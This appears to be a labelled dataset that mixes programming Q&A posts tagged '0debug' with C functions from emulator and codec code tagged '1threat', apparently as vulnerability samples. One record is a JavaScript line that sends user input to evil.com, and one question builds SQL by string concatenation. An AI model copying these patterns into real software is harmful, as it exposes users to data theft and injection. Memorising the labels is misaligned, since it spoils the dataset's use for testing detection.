am trying to update a column in the database, from a list : command = new SqlCommand("update Login_Users set Password=@a where UserName !='" + null + "'", Db); Db.Open(); for (int i = 0; i < list.Count; i++) { list[i] = Encrypt(list[i]); command.Parameters.AddWithValue("@a",list[i]); int a = command.ExecuteNonQuery(); } but i get this error variable name already been declared
0debug
Kotlin: Why are most variables underlined in Android Studio and how do I turn that off? : <p>I wanted to know why most variables in Kotlin are underlined. Some files contain a lot of underlining which is very annoying. If I hover my mouse over a variable it doesn't give any information most of the time. But on some it says "This property has a backing field" or "Value captured in a closure". Does anybody know how to disable those underlines? Here is a screenshot with what I mean: <a href="https://i.stack.imgur.com/qUQMI.png" rel="noreferrer"><img src="https://i.stack.imgur.com/qUQMI.png" alt="enter image description here"></a></p> <p>And realm is then underlined throughout the entire file.</p>
0debug
What are the differences between tf.initialize_all_variables() and tf.global_variables_initializer() : <p>On Tensorflow official website, it gives explantions of the <code>tf.initialize_all_variables()</code> and <code>tf.global_variables_initializer()</code> functions as follow </p> <blockquote> <h3>tf.initialize_all_variables():</h3> <p>Returns an op that initializes all variables.</p> <h3>tf.global_variables_initializer():</h3> <p>Adds an op to initialize all variables in the model</p> </blockquote> <p>It seems like both can be used to initialize all variables in graphs. Can we use these two functions exchangbly? If not, what would be the differences? </p>
0debug
How to iterate through the columns of a data frame efficiently? : <p>So, <code>data</code> is a data frame consists of many columns, and one of which called <code>lpep_pickup_datetime</code> has date and time in the format of "01/01/2016 12:39:36 AM"</p> <p>I want to analyze these data by date and time, so I am trying to create a new column named <code>pickup_date</code> and one named <code>pickup_time</code> with AM or PM information.</p> <p>I have used the strsplit function to split the string into the following form: c("01/01/2016", "12:29:24", "AM"), and I am trying to create the aforementioned columns out of this data.</p> <p>I have wrote the following code:</p> <pre><code>data$lpep_pickup_datetime=strsplit(data$lpep_pickup_datetime, " ") data$pickup_date=data$lpep_pickup_datetime[[1]][1] for (i in seq(1,90181)) { data$pickup_time[i]=data$lpep_pickup_datetime[[i]][2] } </code></pre> <p>This is gravely inefficient, as it takes too long to iterate through 90181 rows of data. Is there a better way to accomplish this task?</p> <p>Thanks.</p>
0debug
void esp_reg_write(ESPState *s, uint32_t saddr, uint64_t val) { trace_esp_mem_writeb(saddr, s->wregs[saddr], val); switch (saddr) { case ESP_TCHI: s->tchi_written = true; case ESP_TCLO: case ESP_TCMID: s->rregs[ESP_RSTAT] &= ~STAT_TC; break; case ESP_FIFO: if (s->do_cmd) { s->cmdbuf[s->cmdlen++] = val & 0xff; } else if (s->ti_size == TI_BUFSZ - 1) { trace_esp_error_fifo_overrun(); } else { s->ti_size++; s->ti_buf[s->ti_wptr++] = val & 0xff; } break; case ESP_CMD: s->rregs[saddr] = val; if (val & CMD_DMA) { s->dma = 1; s->rregs[ESP_TCLO] = s->wregs[ESP_TCLO]; s->rregs[ESP_TCMID] = s->wregs[ESP_TCMID]; s->rregs[ESP_TCHI] = s->wregs[ESP_TCHI]; } else { s->dma = 0; } switch(val & CMD_CMD) { case CMD_NOP: trace_esp_mem_writeb_cmd_nop(val); break; case CMD_FLUSH: trace_esp_mem_writeb_cmd_flush(val); s->rregs[ESP_RINTR] = INTR_FC; s->rregs[ESP_RSEQ] = 0; s->rregs[ESP_RFLAGS] = 0; break; case CMD_RESET: trace_esp_mem_writeb_cmd_reset(val); esp_soft_reset(s); break; case CMD_BUSRESET: trace_esp_mem_writeb_cmd_bus_reset(val); s->rregs[ESP_RINTR] = INTR_RST; if (!(s->wregs[ESP_CFG1] & CFG1_RESREPT)) { esp_raise_irq(s); } break; case CMD_TI: handle_ti(s); break; case CMD_ICCS: trace_esp_mem_writeb_cmd_iccs(val); write_response(s); s->rregs[ESP_RINTR] = INTR_FC; s->rregs[ESP_RSTAT] |= STAT_MI; break; case CMD_MSGACC: trace_esp_mem_writeb_cmd_msgacc(val); s->rregs[ESP_RINTR] = INTR_DC; s->rregs[ESP_RSEQ] = 0; s->rregs[ESP_RFLAGS] = 0; esp_raise_irq(s); break; case CMD_PAD: trace_esp_mem_writeb_cmd_pad(val); s->rregs[ESP_RSTAT] = STAT_TC; s->rregs[ESP_RINTR] = INTR_FC; s->rregs[ESP_RSEQ] = 0; break; case CMD_SATN: trace_esp_mem_writeb_cmd_satn(val); break; case CMD_RSTATN: trace_esp_mem_writeb_cmd_rstatn(val); break; case CMD_SEL: trace_esp_mem_writeb_cmd_sel(val); handle_s_without_atn(s); break; case CMD_SELATN: trace_esp_mem_writeb_cmd_selatn(val); handle_satn(s); break; case CMD_SELATNS: trace_esp_mem_writeb_cmd_selatns(val); handle_satn_stop(s); break; case CMD_ENSEL: trace_esp_mem_writeb_cmd_ensel(val); s->rregs[ESP_RINTR] = 0; break; case CMD_DISSEL: trace_esp_mem_writeb_cmd_dissel(val); s->rregs[ESP_RINTR] = 0; esp_raise_irq(s); break; default: trace_esp_error_unhandled_command(val); break; } break; case ESP_WBUSID ... ESP_WSYNO: break; case ESP_CFG1: case ESP_CFG2: case ESP_CFG3: case ESP_RES3: case ESP_RES4: s->rregs[saddr] = val; break; case ESP_WCCF ... ESP_WTEST: break; default: trace_esp_error_invalid_write(val, saddr); return; } s->wregs[saddr] = val; }
1threat
How to Retrieve a value From Website With Password Protected Login : ##Problem I want to be able to retrieve a value from a website protected by a password. In particular, I want to retrieve the number of problems I have solved from Project Euler - which requires a confirmation code to login. Now, I know how to retrieve a value from a particular web page. However, I am not sure how to retrieve a web page that requires a login with a confirmation system. ##My Code Disclaimer: code taken and adapted from: http://stackoverflow.com/questions/4573498/get-value-from-external-webpage-php-or-java I have the following code to retrieve the next value I want from a web page: <?php // Read the whole file. $lines = file('https://projecteuler.net/progress'); // Go through every line .. while ($line = array_shift($lines)) { // Stop when you find the label we're looking for. //NOTE: The word 'Solved' only exists on the web page when you are logged into an account. if (strpos($line, 'Solved') !== false) break; } // The next line has your value on it. $line = array_shift($lines); // Print the first word on the line. $values = explode(' ', $line); echo $values[0]; ?> ##What this Code Actually Does This code will go to the web page https://projecteuler.net/progress as it states. However, since this web page can be accessed without logging into the account, it will retrieve the values from that web page, instead of the web page that is accessed from logging in. Essentially, there are **two** /progress pages - one for when you login, and one for when you are not logged in. I want to be able to access the /progress page for when you are logged into your account. I have tried: ##Things I've tried I tried to use the information at this link: http://stackoverflow.com/questions/5420506/reading-information-from-a-password-protected-site With no success. Also, since Project Euler requires you to enter a 'Confirmation Code' before logging in, I am not sure how this will work. How might I do this?
0debug
getting a local stored json file into html : <p>does anyone know how I could get a local stored item (json) into html through javascript? I'm currently getting an error after the new object is parsed and the data comes through null</p>
0debug
How can I find a particular string among a list of file names in Ruby? : Newb question here. I need to search through a list of files that all end in .feature and then look for certain words in each file (POST, GET, PUT, and DELETE) so I can later update each file. I have been able to isolate each .feature file but I can't seem to figure out yet how to find each file that has the above words. featureLocation = puts Dir.glob "**/*.feature" # show all feature files puts featureLocation I used the above to show the feature files. I tried numerous ways to iterate through each file to find the words but no luck yet. Total newb here! Thanks
0debug
React Native rnpm unlink library : <p>Recently added this library: <a href="https://github.com/ivpusic/react-native-image-crop-picker" rel="noreferrer">https://github.com/ivpusic/react-native-image-crop-picker</a> but after trying to debug the issues that I get on build, I saw that this library is unavailable for linking through rnpm and only through cocoapods. Is there any way to unlink the library using rnpm and then install cocoa pods and do it that way? I don't want to create some conflicts between the two. </p> <p>The issue I'm getting with the library is <code>'RCTHBridgeModule.h file not found.'</code> and the creator of the library said he currently does not support rnpm. </p>
0debug
Problems with dollar character in visual basic : [Hi guys! Does anyone know why the dollar character is underlined?? ][1] [1]: https://i.stack.imgur.com/ZrQYo.png
0debug
Need to document arguments in functions which are not exported in R package? : <p>I am using the <code>devtools</code> package to check if a package I am developing is ready for submission to CRAN.</p> <p>Using <code>Roxygen2</code> through <code>devtools</code>, I documented a small number of functions with <code>#'@export</code>, in order for them to be available when the package I am developing is loaded.</p> <p>However, when I run <code>devtools::check()</code>, it seems I need to document the functions that are NOT exported, i.e. those that may be called by a function which is exported, but which are not available nor needed by whoever uses the package. Here is an example from the output of <code>devtools::check()</code>:</p> <pre><code>checking Rd \usage sections ... WARNING Undocumented arguments in documentation object 'calculate_agreement' ‘a_assign_star’ ‘a_assign’ </code></pre> <p>Do I need to document those arguments although the function is not exported?</p>
0debug
How would I vertically center child divs? : <p>I was trying out some stuff in CSS on Codepen (jst to get more familiar with CSS), and ran into a problem where I could not vertically center the divs. This confused me, as I was able to move all of the child divs into the center.Thanks for any help!</p> <p><a href="https://codepen.io/Shayodonn10/pen/xWKgda" rel="nofollow noreferrer">https://codepen.io/Shayodonn10/pen/xWKgda</a></p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>.bg{ display: block; margin-left: auto; margin-right: auto; background-color: black; width: 800px; height: 800px; left: 50%; } .red { display: block; margin-left: auto; margin-right: auto; border-radius: 20px; width: 100px; height: 75px; background-image: linear-gradient(to right, #f78ca0 0%, #f9748f 19%, #fd868c 60%, #fe9a8b 100%); } .blue{ position: relative; display: block; margin-left: auto; margin-right: auto; width: 100px; height: 50px; background-image: linear-gradient(to top, #fbc2eb 0%, #a6c1ee 100%);; top: 50px; } .green{ position: relative; display: block; margin-left: auto; margin-right: auto; width: 100px; height: 50px; background-image: linear-gradient(to top, #0ba360 0%, #3cba92 100%); top: 50px; } .stick{ position: relative; display: block; margin-left: auto; margin-right: auto; width: 30px; height: 80px; background-image: linear-gradient(60deg, #29323c 0%, #485563 100%); top: 50px; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="bg"&gt; &lt;div class="red" /&gt; &lt;div class="blue" /&gt; &lt;div class="green" /&gt; &lt;div class="stick" /&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
0debug
what is the reason for "java.lang.NoClassDefFoundError: com.estimote.sdk.BeaconManager" ?Please help me to rseolve : java.lang.NoClassDefFoundError: com.estimote.sdk.BeaconManager at com.campus.ReadingBeaconService.onStart(ReadingBeaconService.java:50) at android.app.Service.onStartCommand(Service.java:450) at android.app.ActivityThread.handleServiceArgs(ActivityThread.java:2702) at android.app.ActivityThread.access$2100(ActivityThread.java:135) at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1293) at android.os.Handler.dispatchMessage(Handler.java:102) at android.os.Looper.loop(Looper.java:136) at android.app.ActivityThread.main(ActivityThread.java:5017) at java.lang.reflect.Method.invokeNative(Native Method) at java.lang.reflect.Method.invoke(Method.java:515) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:779) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:595) at dalvik.system.NativeStart.main(Native Method)
0debug
int ff_audio_mix_set_matrix(AudioMix *am, const double *matrix, int stride) { int i, o, i0, o0, ret; char in_layout_name[128]; char out_layout_name[128]; if ( am->in_channels <= 0 || am->in_channels > AVRESAMPLE_MAX_CHANNELS || am->out_channels <= 0 || am->out_channels > AVRESAMPLE_MAX_CHANNELS) { av_log(am->avr, AV_LOG_ERROR, "Invalid channel counts\n"); return AVERROR(EINVAL); } if (am->matrix) { av_free(am->matrix[0]); am->matrix = NULL; } am->in_matrix_channels = am->in_channels; am->out_matrix_channels = am->out_channels; reduce_matrix(am, matrix, stride); #define CONVERT_MATRIX(type, expr) \ am->matrix_## type[0] = av_mallocz(am->out_matrix_channels * \ am->in_matrix_channels * \ sizeof(*am->matrix_## type[0])); \ if (!am->matrix_## type[0]) \ return AVERROR(ENOMEM); \ for (o = 0, o0 = 0; o < am->out_channels; o++) { \ if (am->output_zero[o] || am->output_skip[o]) \ continue; \ if (o0 > 0) \ am->matrix_## type[o0] = am->matrix_## type[o0 - 1] + \ am->in_matrix_channels; \ for (i = 0, i0 = 0; i < am->in_channels; i++) { \ double v; \ if (am->input_skip[i]) \ continue; \ v = matrix[o * stride + i]; \ am->matrix_## type[o0][i0] = expr; \ i0++; \ } \ o0++; \ } \ am->matrix = (void **)am->matrix_## type; if (am->in_matrix_channels && am->out_matrix_channels) { switch (am->coeff_type) { case AV_MIX_COEFF_TYPE_Q8: CONVERT_MATRIX(q8, av_clip_int16(lrint(256.0 * v))) break; case AV_MIX_COEFF_TYPE_Q15: CONVERT_MATRIX(q15, av_clipl_int32(llrint(32768.0 * v))) break; case AV_MIX_COEFF_TYPE_FLT: CONVERT_MATRIX(flt, v) break; default: av_log(am->avr, AV_LOG_ERROR, "Invalid mix coeff type\n"); return AVERROR(EINVAL); } } ret = mix_function_init(am); if (ret < 0) return ret; av_get_channel_layout_string(in_layout_name, sizeof(in_layout_name), am->in_channels, am->in_layout); av_get_channel_layout_string(out_layout_name, sizeof(out_layout_name), am->out_channels, am->out_layout); av_log(am->avr, AV_LOG_DEBUG, "audio_mix: %s to %s\n", in_layout_name, out_layout_name); av_log(am->avr, AV_LOG_DEBUG, "matrix size: %d x %d\n", am->in_matrix_channels, am->out_matrix_channels); for (o = 0; o < am->out_channels; o++) { for (i = 0; i < am->in_channels; i++) { if (am->output_zero[o]) av_log(am->avr, AV_LOG_DEBUG, " (ZERO)"); else if (am->input_skip[i] || am->output_skip[o]) av_log(am->avr, AV_LOG_DEBUG, " (SKIP)"); else av_log(am->avr, AV_LOG_DEBUG, " %0.3f ", matrix[o * am->in_channels + i]); } av_log(am->avr, AV_LOG_DEBUG, "\n"); } return 0; }
1threat
how to define index in angular material table : <p>how should I define an index variable when angular material table is used as ngFor is not used in this table. </p> <p>I did search for it in the documentation but index is not mentioned any where in it. </p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code> &lt;mat-table #table [dataSource]="dataSource"&gt; &lt;!--- Note that these columns can be defined in any order. The actual rendered columns are set as a property on the row definition" --&gt; &lt;!-- Position Column --&gt; &lt;ng-container matColumnDef="position"&gt; &lt;mat-header-cell *matHeaderCellDef&gt; No. &lt;/mat-header-cell&gt; &lt;mat-cell *matCellDef="let element"&gt; {{element.position}} &lt;/mat-cell&gt; &lt;/ng-container&gt; &lt;!-- Name Column --&gt; &lt;ng-container matColumnDef="name"&gt; &lt;mat-header-cell *matHeaderCellDef&gt; Name &lt;/mat-header-cell&gt; &lt;mat-cell *matCellDef="let element"&gt; {{element.name}} &lt;/mat-cell&gt; &lt;/ng-container&gt; &lt;!-- Weight Column --&gt; &lt;ng-container matColumnDef="weight"&gt; &lt;mat-header-cell *matHeaderCellDef&gt; Weight &lt;/mat-header-cell&gt; &lt;mat-cell *matCellDef="let element"&gt; {{element.weight}} &lt;/mat-cell&gt; &lt;/ng-container&gt; &lt;!-- Symbol Column --&gt; &lt;ng-container matColumnDef="symbol"&gt; &lt;mat-header-cell *matHeaderCellDef&gt; Symbol &lt;/mat-header-cell&gt; &lt;mat-cell *matCellDef="let element"&gt; {{element.symbol}} &lt;/mat-cell&gt; &lt;/ng-container&gt; &lt;mat-header-row *matHeaderRowDef="displayedColumns"&gt;&lt;/mat-header-row&gt; &lt;mat-row *matRowDef="let row; columns: displayedColumns;"&gt;&lt;/mat-row&gt; &lt;/mat-table&gt; &lt;/div&gt;</code></pre> </div> </div> </p> <p>where and how do i define an index variable for the array that I used in this table, so that I can bind the index value in my table itself.</p>
0debug
int attribute_align_arg avcodec_decode_audio4(AVCodecContext *avctx, AVFrame *frame, int *got_frame_ptr, AVPacket *avpkt) { int planar, channels; int ret = 0; *got_frame_ptr = 0; avctx->pkt = avpkt; if (!avpkt->data && avpkt->size) { av_log(avctx, AV_LOG_ERROR, "invalid packet: NULL data, size != 0\n"); return AVERROR(EINVAL); } apply_param_change(avctx, avpkt); if ((avctx->codec->capabilities & CODEC_CAP_DELAY) || avpkt->size) { ret = avctx->codec->decode(avctx, frame, got_frame_ptr, avpkt); if (ret >= 0 && *got_frame_ptr) { avctx->frame_number++; frame->pkt_dts = avpkt->dts; if (frame->format == AV_SAMPLE_FMT_NONE) frame->format = avctx->sample_fmt; } } planar = av_sample_fmt_is_planar(frame->format); channels = av_get_channel_layout_nb_channels(frame->channel_layout); if (!(planar && channels > AV_NUM_DATA_POINTERS)) frame->extended_data = frame->data; return ret; }
1threat
static int roq_dpcm_encode_frame(AVCodecContext *avctx, AVPacket *avpkt, const AVFrame *frame, int *got_packet_ptr) { int i, stereo, data_size, ret; const int16_t *in = frame ? (const int16_t *)frame->data[0] : NULL; uint8_t *out; ROQDPCMContext *context = avctx->priv_data; stereo = (avctx->channels == 2); if (!in && context->input_frames >= 8) return 0; if (in && context->input_frames < 8) { memcpy(&context->frame_buffer[context->buffered_samples * avctx->channels], in, avctx->frame_size * avctx->channels * sizeof(*in)); context->buffered_samples += avctx->frame_size; if (context->input_frames == 0) context->first_pts = frame->pts; if (context->input_frames < 7) { context->input_frames++; return 0; } } if (context->input_frames < 8) { in = context->frame_buffer; } if (stereo) { context->lastSample[0] &= 0xFF00; context->lastSample[1] &= 0xFF00; } if (context->input_frames == 7) data_size = avctx->channels * context->buffered_samples; else data_size = avctx->channels * avctx->frame_size; if ((ret = ff_alloc_packet2(avctx, avpkt, ROQ_HEADER_SIZE + data_size))) return ret; out = avpkt->data; bytestream_put_byte(&out, stereo ? 0x21 : 0x20); bytestream_put_byte(&out, 0x10); bytestream_put_le32(&out, data_size); if (stereo) { bytestream_put_byte(&out, (context->lastSample[1])>>8); bytestream_put_byte(&out, (context->lastSample[0])>>8); } else bytestream_put_le16(&out, context->lastSample[0]); for (i = 0; i < data_size; i++) *out++ = dpcm_predict(&context->lastSample[i & 1], *in++); avpkt->pts = context->input_frames <= 7 ? context->first_pts : frame->pts; avpkt->duration = data_size / avctx->channels; context->input_frames++; if (!in) context->input_frames = FFMAX(context->input_frames, 8); *got_packet_ptr = 1; return 0; }
1threat
can anyone convert this linq code into sql query. because i cant understand what is it doing? : var don2 = db.Panels.Include(y => y.Invoice) .Include(x => x.PanelTypeEntries.Select(a => a.SubItems)).Where(v => v.Invoice_Id == Quotation_Id) .ToList();
0debug
static void show_format(AVFormatContext *fmt_ctx) { AVDictionaryEntry *tag = NULL; char val_str[128]; int64_t size = fmt_ctx->pb ? avio_size(fmt_ctx->pb) : -1; print_format_entry(NULL, "[FORMAT]"); print_format_entry("filename", fmt_ctx->filename); snprintf(val_str, sizeof(val_str) - 1, "%d", fmt_ctx->nb_streams); print_format_entry("nb_streams", val_str); print_format_entry("format_name", fmt_ctx->iformat->name); print_format_entry("format_long_name", fmt_ctx->iformat->long_name); print_format_entry("start_time", time_value_string(val_str, sizeof(val_str), fmt_ctx->start_time, &AV_TIME_BASE_Q)); print_format_entry("duration", time_value_string(val_str, sizeof(val_str), fmt_ctx->duration, &AV_TIME_BASE_Q)); print_format_entry("size", size >= 0 ? value_string(val_str, sizeof(val_str), size, unit_byte_str) : "unknown"); print_format_entry("bit_rate", value_string(val_str, sizeof(val_str), fmt_ctx->bit_rate, unit_bit_per_second_str)); while ((tag = av_dict_get(fmt_ctx->metadata, "", tag, AV_DICT_IGNORE_SUFFIX))) { snprintf(val_str, sizeof(val_str) - 1, "TAG:%s", tag->key); print_format_entry(val_str, tag->value); } print_format_entry(NULL, "[/FORMAT]"); }
1threat
How to update Google Play Services for Android Studio 2.2 emulators? : <p>There are a number of variations of this question, however most are very old, and don't really answer the question at all. I'm NOT asking how to install Play Services, that is installed in the Studio 2.2 emulators. </p> <p>The problem is that these emulators are using an old version of Play services.</p> <p>When I run a test app that uses Firebase to facilitate Google login I get this alert dialog from a Nexus 5 API 23 emulator:</p> <p><a href="https://i.stack.imgur.com/3W2aG.png"><img src="https://i.stack.imgur.com/3W2aG.png" alt="enter image description here"></a></p> <p>In the onCreate method of my login activity I have this code:</p> <pre><code>int result = GooglePlayServicesUtil.isGooglePlayServicesAvailable(this); switch(result) { case ConnectionResult.SERVICE_VERSION_UPDATE_REQUIRED: Log.d(TAG,"SERVICE_VERSION_UPDATE_REQUIRED"); break; case ConnectionResult.SUCCESS: Log.d(TAG, "Play service available success"); break; default: Log.d(TAG, "unknown services result: " + result); } </code></pre> <p>This always returns SERVICE_VERSION_UPDATE_REQUIRED.</p> <p>Clicking update in the alert dialog does nothing that I can detected. In the debug log I get this message when Play Services startup fails:</p> <pre><code>W/GooglePlayServicesUtil: Google Play services out of date. Requires 9080000 but found 8489470 </code></pre> <p>My application runs fine on a real Android device.</p> <p>What simple thing am I missing?</p> <p>TIA</p>
0debug
def int_to_roman( num): val = [1000, 900, 500, 400,100, 90, 50, 40,10, 9, 5, 4,1] syb = ["M", "CM", "D", "CD","C", "XC", "L", "XL","X", "IX", "V", "IV","I"] roman_num = '' i = 0 while num > 0: for _ in range(num // val[i]): roman_num += syb[i] num -= val[i] i += 1 return roman_num
0debug
How to set up a systemd service to retry 5 times on a cycle of 30 seconds : <p>I want systemd to start a script and retry a maximum of 5 times, 30s apart. Reading the systemd.service manual and searching the Internet didn't produce any obvious answers.</p>
0debug
What does event.waitUntil do in service worker and why is it needed? : <p>MDN suggests that you do the following to create and populate service worker cache:</p> <pre><code>this.addEventListener('install', function(event) { event.waitUntil( caches.open('v1').then(function(cache) { return cache.addAll([ '/sw-test/', '/sw-test/index.html', ... etc ... ]); }) ); }); </code></pre> <p>I do not understand that code. The <code>waitUntil</code> method is documented too, and it seems the code above is the single purpose of it's existence at the moment:</p> <blockquote> <p>The ExtendableEvent.waitUntil() method extends the lifetime of the event. When called in an EventHandler associated to the install event, it delays treating the installing worker as installed until the passed Promise resolves successfully. This is primarily used to ensure that a service worker is not considered installed until all of the core caches it depends on are populated.</p> </blockquote> <p>What I do not understand is:</p> <ul> <li>How does <code>waitUntil</code> generally affect code flow? Does it stop event from propagating until it's promise resolves?</li> <li>Why is it needed in the context of opening worker cache?</li> </ul> <p>I am asking this question because I have problems with the code above and I would like to understand it.</p>
0debug
static char *pxb_host_ofw_unit_address(const SysBusDevice *dev) { const PCIHostState *pxb_host; const PCIBus *pxb_bus; const PXBDev *pxb_dev; int position; const DeviceState *pxb_dev_base; const PCIHostState *main_host; const SysBusDevice *main_host_sbd; pxb_host = PCI_HOST_BRIDGE(dev); pxb_bus = pxb_host->bus; pxb_dev = PXB_DEV(pxb_bus->parent_dev); position = g_list_index(pxb_dev_list, pxb_dev); assert(position >= 0); pxb_dev_base = DEVICE(pxb_dev); main_host = PCI_HOST_BRIDGE(pxb_dev_base->parent_bus->parent); main_host_sbd = SYS_BUS_DEVICE(main_host); if (main_host_sbd->num_mmio > 0) { return g_strdup_printf(TARGET_FMT_plx ",%x", main_host_sbd->mmio[0].addr, position + 1); } if (main_host_sbd->num_pio > 0) { return g_strdup_printf("i%04x,%x", main_host_sbd->pio[0], position + 1); } return NULL; }
1threat
Delphi/Lazarus function to find 8 digit numbers in a string : I have e-mail subject lines and I want to find ticket references in them it could be the TT ref is like 12345678. One subject line (string) can have multiple 8 digit numbers! I have been using the below code but it is merely stripping out the first 8 digits: function StripNumbers(const aString: string): string; var C: char; begin Result := ''; for C in aString do begin if CharInSet(C, ['0'..'9']) then begin Result := Result + C; end; end; end; THank you for answers.
0debug
How to add a text below to an image in image view like Instagram : If some one click on 'share on whatsapp' in instagram....the image will automatically add the user name in that photo.....how can I make it. Hope you understood what I mean. If not then please open the instagram app and click 'share on whatsapp' or 'share on messenger' of any post on your feed.you will understand.
0debug
Please help to convert for loop into while loop : Please to convert the for loop below into a while loop for (j = 0; s1[j] != '\0'; j++, i++) sen[i] = s1[j]; i tried to convert but got any empty result,not sure what is wrong with this... while (j= 0, s1[j] != '\0') { j++, i++; sen[i] = s1[j]; } the original code is below : #include <stdio.h> #include <stdafx.h> int main() { char s[] = "Bad"; char s1[] = "weather!"; char sen[10]; int i, j; for (i = 0; i<20; ++i){ if (s[i] != '\0') sen[i] = s[i]; else { sen[i++] = ' '; for (j = 0; s1[j] != '\0'; j++, i++) sen[i] = s1[j]; break; } } sen[i] = '\0'; puts(sen); } Thank you
0debug
how to plot a scatter plot(month vs area) : I have the data below and am trying to plot a scatter plot for month VS Area. Month Area feb 13.05 oct 13.7 mar 13.99 sep 14.57 aug 15.45 sep 17.2 sep 19.23 sep 23.41 oct 24.23 aug 26 sep 26.13 mar 27.35 when i plot the scatter plot, the plot is something like the attached image. what i am trying to do is to plot the x axis in chronological order(Jan-December) in order. I tried using ggplot2, but i was not able to do so. if someone could please help me it would be great.[Area VS Month][1] [1]: http://i.stack.imgur.com/sCEa4.png
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
PPC_OP(test_ctr_false) { T0 = (regs->ctr != 0 && (T0 & PARAM(1)) == 0); RETURN(); }
1threat
static inline void RENAME(yuv2rgb2)(uint16_t *buf0, uint16_t *buf1, uint16_t *uvbuf0, uint16_t *uvbuf1, uint8_t *dest, int dstW, int yalpha, int uvalpha, int dstbpp) { int yalpha1=yalpha^4095; int uvalpha1=uvalpha^4095; if(fullUVIpol) { #ifdef HAVE_MMX if(dstbpp == 32) { asm volatile( FULL_YSCALEYUV2RGB "punpcklbw %%mm1, %%mm3 \n\t" "punpcklbw %%mm7, %%mm0 \n\t" "movq %%mm3, %%mm1 \n\t" "punpcklwd %%mm0, %%mm3 \n\t" "punpckhwd %%mm0, %%mm1 \n\t" MOVNTQ(%%mm3, (%4, %%eax, 4)) MOVNTQ(%%mm1, 8(%4, %%eax, 4)) "addl $4, %%eax \n\t" "cmpl %5, %%eax \n\t" " jb 1b \n\t" :: "r" (buf0), "r" (buf1), "r" (uvbuf0), "r" (uvbuf1), "r" (dest), "m" (dstW), "m" (yalpha1), "m" (uvalpha1) : "%eax" ); } else if(dstbpp==24) { asm volatile( FULL_YSCALEYUV2RGB "punpcklbw %%mm1, %%mm3 \n\t" "punpcklbw %%mm7, %%mm0 \n\t" "movq %%mm3, %%mm1 \n\t" "punpcklwd %%mm0, %%mm3 \n\t" "punpckhwd %%mm0, %%mm1 \n\t" "movq %%mm3, %%mm2 \n\t" "psrlq $8, %%mm3 \n\t" "pand "MANGLE(bm00000111)", %%mm2\n\t" "pand "MANGLE(bm11111000)", %%mm3\n\t" "por %%mm2, %%mm3 \n\t" "movq %%mm1, %%mm2 \n\t" "psllq $48, %%mm1 \n\t" "por %%mm1, %%mm3 \n\t" "movq %%mm2, %%mm1 \n\t" "psrld $16, %%mm2 \n\t" "psrlq $24, %%mm1 \n\t" "por %%mm2, %%mm1 \n\t" "movl %4, %%ebx \n\t" "addl %%eax, %%ebx \n\t" #ifdef HAVE_MMX2 "movntq %%mm3, (%%ebx, %%eax, 2)\n\t" "movntq %%mm1, 8(%%ebx, %%eax, 2)\n\t" #else "movd %%mm3, (%%ebx, %%eax, 2) \n\t" "psrlq $32, %%mm3 \n\t" "movd %%mm3, 4(%%ebx, %%eax, 2) \n\t" "movd %%mm1, 8(%%ebx, %%eax, 2) \n\t" #endif "addl $4, %%eax \n\t" "cmpl %5, %%eax \n\t" " jb 1b \n\t" :: "r" (buf0), "r" (buf1), "r" (uvbuf0), "r" (uvbuf1), "m" (dest), "m" (dstW), "m" (yalpha1), "m" (uvalpha1) : "%eax", "%ebx" ); } else if(dstbpp==15) { asm volatile( FULL_YSCALEYUV2RGB #ifdef DITHER1XBPP "paddusb "MANGLE(g5Dither)", %%mm1\n\t" "paddusb "MANGLE(r5Dither)", %%mm0\n\t" "paddusb "MANGLE(b5Dither)", %%mm3\n\t" #endif "punpcklbw %%mm7, %%mm1 \n\t" "punpcklbw %%mm7, %%mm3 \n\t" "punpcklbw %%mm7, %%mm0 \n\t" "psrlw $3, %%mm3 \n\t" "psllw $2, %%mm1 \n\t" "psllw $7, %%mm0 \n\t" "pand "MANGLE(g15Mask)", %%mm1 \n\t" "pand "MANGLE(r15Mask)", %%mm0 \n\t" "por %%mm3, %%mm1 \n\t" "por %%mm1, %%mm0 \n\t" MOVNTQ(%%mm0, (%4, %%eax, 2)) "addl $4, %%eax \n\t" "cmpl %5, %%eax \n\t" " jb 1b \n\t" :: "r" (buf0), "r" (buf1), "r" (uvbuf0), "r" (uvbuf1), "r" (dest), "m" (dstW), "m" (yalpha1), "m" (uvalpha1) : "%eax" ); } else if(dstbpp==16) { asm volatile( FULL_YSCALEYUV2RGB #ifdef DITHER1XBPP "paddusb "MANGLE(g6Dither)", %%mm1\n\t" "paddusb "MANGLE(r5Dither)", %%mm0\n\t" "paddusb "MANGLE(b5Dither)", %%mm3\n\t" #endif "punpcklbw %%mm7, %%mm1 \n\t" "punpcklbw %%mm7, %%mm3 \n\t" "punpcklbw %%mm7, %%mm0 \n\t" "psrlw $3, %%mm3 \n\t" "psllw $3, %%mm1 \n\t" "psllw $8, %%mm0 \n\t" "pand "MANGLE(g16Mask)", %%mm1 \n\t" "pand "MANGLE(r16Mask)", %%mm0 \n\t" "por %%mm3, %%mm1 \n\t" "por %%mm1, %%mm0 \n\t" MOVNTQ(%%mm0, (%4, %%eax, 2)) "addl $4, %%eax \n\t" "cmpl %5, %%eax \n\t" " jb 1b \n\t" :: "r" (buf0), "r" (buf1), "r" (uvbuf0), "r" (uvbuf1), "r" (dest), "m" (dstW), "m" (yalpha1), "m" (uvalpha1) : "%eax" ); } #else if(dstbpp==32 || dstbpp==24) { int i; for(i=0;i<dstW;i++){ int Y=yuvtab_2568[((buf0[i]*yalpha1+buf1[i]*yalpha)>>19)]; int U=((uvbuf0[i]*uvalpha1+uvbuf1[i]*uvalpha)>>19); int V=((uvbuf0[i+2048]*uvalpha1+uvbuf1[i+2048]*uvalpha)>>19); dest[0]=clip_table[((Y + yuvtab_40cf[U]) >>13)]; dest[1]=clip_table[((Y + yuvtab_1a1e[V] + yuvtab_0c92[U]) >>13)]; dest[2]=clip_table[((Y + yuvtab_3343[V]) >>13)]; dest+=dstbpp>>3; } } else if(dstbpp==16) { int i; 